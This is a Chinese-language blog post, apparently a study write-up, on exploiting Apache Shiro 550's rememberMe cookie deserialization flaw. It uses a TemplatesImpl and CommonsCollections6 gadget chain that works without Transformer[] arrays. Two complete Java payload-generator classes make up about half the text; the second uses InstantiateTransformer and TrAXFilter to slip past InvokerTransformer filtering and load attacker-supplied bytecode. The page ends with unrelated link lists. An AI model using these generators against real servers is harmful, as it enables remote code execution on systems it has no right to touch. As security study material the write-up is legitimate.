TemplatesImpl结合cc6在Shiro中的利用

这个文章也是参考p牛的文章;但其中许多细节,就比如为什么普通的Transformer[]数组链不能再shiro中使用;

但其中大致原理还是说一下

先说下shiro反序列化的原理

简单来说就是

shiro 会将用户的登录信息进行序列化保存在Cookie的rememberMe字段中,在服务端读取用户信息时会对这个这段进行一次反序列化;导致客户端可控rememberMe字段的情况下导致的反序列化漏洞;但shiro做了一些校验,先效验aes的key(对其进行一次解密操作),然后再进行反序列化;但shiro550中存在默认的key,导致攻击者知道了这个key后,进行一次aes加密,就可以进行反序列化漏洞的利用;

在这篇文章中主要写的是TemplatesImpl结合cc6在Shiro中的利用;也就是说主题是TemplatesImpl结合cc6;

先来看背景;正常的cc6是无法打shiro的tomcat会报错

原因是:在shiro.io包中重写了resolveClass方法;从ClassUtils.forName(osc.getName())可以看出来这个方法在java中是用来寻找类名的;

而在其父类中使用的是原生的Class.forName

这里直接给出结论:在shiro中使用它自身的反序列化机制;(ClassResolvingObjectInputStream) 无法正确处理包含非Java核心库数组类(如 Transformer[])的序列化流

也就是说shiro中的ClassUtils.forName方法无法"处理"对非java自身的数组的序列化流;

因此这里这里需要构造不含数组的反序列化gadget;

在cc链的调用链中我们知道;它的注入过程是依赖数组形式调用链的;

在之前的动态加载字节码中我们可以绕过InvokerTransformer和Runtime.class;等但依旧依赖Transformer[]数组;

但在LazyMap的get方法中,我们看到它的transform(key);这里传入一个key参数

正常cc链来说,这个key参数无关紧要;因为new ConstantTransformer(Runtime.class)已经可以初始化类对象了;但现在是无法使用Transform数组的;

我们先来看ConstantTransformer这个方法干了什么

可以看到他的作用就是"传进去一个类,在构造transform链子时,返回这个类";而new ConstantTransformer(Runtime.class)正好可以初始化;在比对一下发现 azyMap的get方法中和这个 ConstantTransformer的功能是一样的;传进去一个类,在ChainedTransformer调用时调用transform(Object input) 这里的input 相当于key ;也就是说,如果我们控制这个key为我们传进去的恶意类不也可以初始化了吗;

但是这里不可以使用数组该怎么传进去恶意的指令呢;这里就要回到之前使用过的动态加载字节码(TemplateImp)来绕过了;

如何传入key呢;在整条链子中我们可以知道;TiedMapEntry类的构造函数中可以传入key,并且调用getvalue时,这个key作为get函数的参数,因此我们只需要在TiedMapEntry对象传入恶意字节码类即可

在之前的上一篇文章,cc6结合动态字节码来绕过限制,具体代码如下;但这里的new ConstantTransformer(obj)是不必要的,因为我们可以直接通过key传入我们的恶意字节码类

Transformer[]transformers new Transformer[]
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",nul1,nul1)
};

以下是完整的payload

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map; public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry(outerMap, obj); Map expMap = new HashMap();
expMap.put(tme, "valuevalue"); outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer"); // ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close(); return barr.toByteArray();
}
}

但p牛这里直接用的InvokerTransformer,我们拓展一下,绕过InvokerTransformer,在上一篇文章中我们使用InstantiateTransformer来绕过,如下代码,这次如法炮制依然使用InstantiateTransformer绕过;

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
)
};

完整代码如下,这段代码中

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map; public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); // 初始化一个无害的 InstantiateTransformer,使用String.class和空字符串
Transformer transformer = new InstantiateTransformer(
new Class[]{String.class},
new Object[]{""}
); Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer); // 使用一个临时的无害Class对象(String.class)作为key
TiedMapEntry tme = new TiedMapEntry(outerMap, String.class); Map expMap = new HashMap();
expMap.put(tme, "valuevalue"); // 这里会触发一次transform,但无害 // 清除LazyMap中因put操作产生的缓存(清除掉刚刚生成的String实例)
outerMap.clear(); // 修改TiedMapEntry的key为TrAXFilter.class
setFieldValue(tme, "key", TrAXFilter.class); // 修改transformer为恶意参数
setFieldValue(transformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(transformer, "iArgs", new Object[]{obj});
// setFieldValue(transformer, "iConstructor", null); // 清除缓存 // 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close(); return barr.toByteArray();
}
}

总结:这篇文章通过shiro的反序列化介绍了,如何通过动态加载字节码(TemplatesImpl)的方式绕过Transform[]数组不可以使用的限制;也就是利用LazyMap的transform方法接受一个key参数;而TiedMapEntry类恰好可以传入一个key;且getvalue调用get方法时会把这个key作为参数;导致了我们可以不使用ConstantTransformer作为构造器就可以实例化恶意类的对象,从而动态加载我们的恶意字节码;最后顺带拓展了一下

使用InstantiateTransformer拓展InvokerTransformer被过滤问题的绕过;

-----------------------------备注----------------------------

参考:

https://github.com/phith0n/JavaThings?tab=readme-ov-file

与其知识星球->代码审计->java系列文章

TemplatesImpl结合cc6在Shiro中的利用的更多相关文章

  1. shiro中部分SpringCache失效问题

    原文:https://www.cnblogs.com/liruiloveparents/p/9392159.html shiro中部分SpringCache失效问题   1.问题抛出 今天在做Spri ...

  2. Git中如何利用生成SSH个人公钥访问git仓库

    Git中如何利用生成SSH个人公钥访问git仓库方法(这里以coding平台为例): 1. 获取 SSH 协议地址 在项目的代码页面点击 SSH 切换到 SSH 协议, 获得访问地址, 请使用这个地址 ...

  3. C/S模式开发中如何利用WebBrowser控件制作导航窗体

    原文:C/S模式开发中如何利用WebBrowser控件制作导航窗体 转自: CSDN 相信不少同学们都做过MIS系统的开发,今天这里不讨论B/S模式开发的问题.来谈谈winform开发.用过市面上常见 ...

  4. 从零到实现Shiro中Authorization和Authentication的缓存

    本文大纲 一.简介 二.缓存的概念 三.自定义实现缓存机制 四.什么是Ehcache 五.Ehcache怎么用 六.Spring对缓存的支持 七.Spring+Ehcache实现 八.Spring+S ...

  5. shiro中 UnknownAccountException

    一 shiro的session.request和response与服务端容器自身的这三个对象的关系 在web.xml中配置了一个Filter,拦截/*,所有的uri.在拦截器中还会调用ShiroFil ...

  6. shiro中CacheManager相关的类结构介绍,提供redis Cache实现

    cacheManager主要用于对shiro中的session.realm中的认证信息.授权信息进行缓存. 1.类结构 2.接口及类介绍 CacheManager 提供根据名字获取cache的作用. ...

  7. Shiro中的授权问题(二)

    上篇博客(Shiro中的授权问题 )我们介绍了Shiro中最最基本的授权问题,以及常见的权限字符的匹配问题.但是这里边还有许多细节需要我们继续介绍,本节我们就来看看Shiro中授权的一些细节问题. 验 ...

  8. Shiro中的授权问题

    在初识Shiro一文中,我们对Shiro的基本使用已经做了简单的介绍,不懂的小伙伴们可以先阅读上文,今天我们就来看看Shiro中的授权问题. Shiro中的授权,大体上可以分为两大类,一类是隐式角色, ...

  9. Shiro中的Rememberme后出现浏览器500错误

    问题详述:在Shiro中添加Remember me功能后,只要勾选Remember me选项为true的时候,浏览器就会跳转到一个不可达页面,并且在Chrome中显示HTTP 500错误. 问题追踪: ...

  10. CVE-2019-0797漏洞:Windows操作系统中的新零日在攻击中被利用

    https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/ 前言 在2019年2月,卡巴实验室的自动漏洞防护(AEP)系统检测 ...

随机推荐

  1. idea 缺失右侧maven窗口

    最近整了一个别人的项目到本地,发现在git下载项目到本地后,再通过idea的打开项目后,缺失了右侧的maven窗口. 注: idea是有安装到maven(idea默认是已经安装好的) 打开的项目也是m ...

  2. coco数据集详解

    什么是COCO数据集? MS COCO的全称是Microsoft Common Objects in Context,起源于微软于2014年出资标注的Microsoft COCO数据集,与ImageN ...

  3. Major、Minor、Build Number及Revision 版本号注解含义

    版本号 版本号由二至四个部分组成:主版本号.次版本号.内部版本号和修订号. 主版本号和次版本号两个部分为必选,内部版本号和修订号两个部分为可选.只有在未定义内部版本号部分时,修订号部分才为可选.所有定 ...

  4. Linux下查询tomcat进程命令

    由于查询tomcat进程时将ps -ef|grep tomcat命令记错为ps -f|grep tomcat命令,因此对比两个命令进行区分. ps -f |grep tomcat执行结果: dgztc ...

  5. 支持VS2022的包发布工具NuPack 2022发布

    我们很高兴地宣布 NuPack 2022 正式发布!这是一个开源项目,旨在简化 .NET 开发中的 NuGet 包发布流程. NuPack 是什么? NuPack 是一个轻量级工具,VS扩展,它可以帮 ...

  6. 小白快速了解的Java知识!

    Java初学习 1.Java的诞生与崛起 1972年,c语言诞生,其高效率,运行速度快让大批程序员为之倾倒,但是c语言的指针及其内存管理需要程序员自行操作,浪费了大量的时间以及精力,再加上c语言需要尽 ...

  7. 【SpringMVC】数据转换 & 数据格式化

    数据转换 & 数据格式化 & 数据校验 数据转换 数据绑定流程 Spring MVC 主框架将 ServletRequest 对象及目标方法的入参实例传递给 WebDataBinder ...

  8. 青岛oj集训5

    Floyd算法--全源最短路 cerr:标准输出错误流:不会输出到freopen制定的out文件中,而是会输出到错误文件中. 提交上去无论加不加freopen,哪怕是提交到洛谷,也只是比较out文件中 ...

  9. .net WorkFlow 流程设计

    WikeFlow官网:www.wikesoft.com WikeFlow学习版演示地址:workflow.wikesoft.com WikeFlow学习版源代码下载:https://gitee.com ...

  10. 不同数据库Oracle、PostgreSQL、Vertical、Mysql常用操作

    不同数据库Oracle.PostgreSQL.Vertical.Mysql常用操作 授权语句用于管理数据库用户的权限,常见的授权语句如下: 1.授权用户对表的SELECT权限 GRANT SELECT ...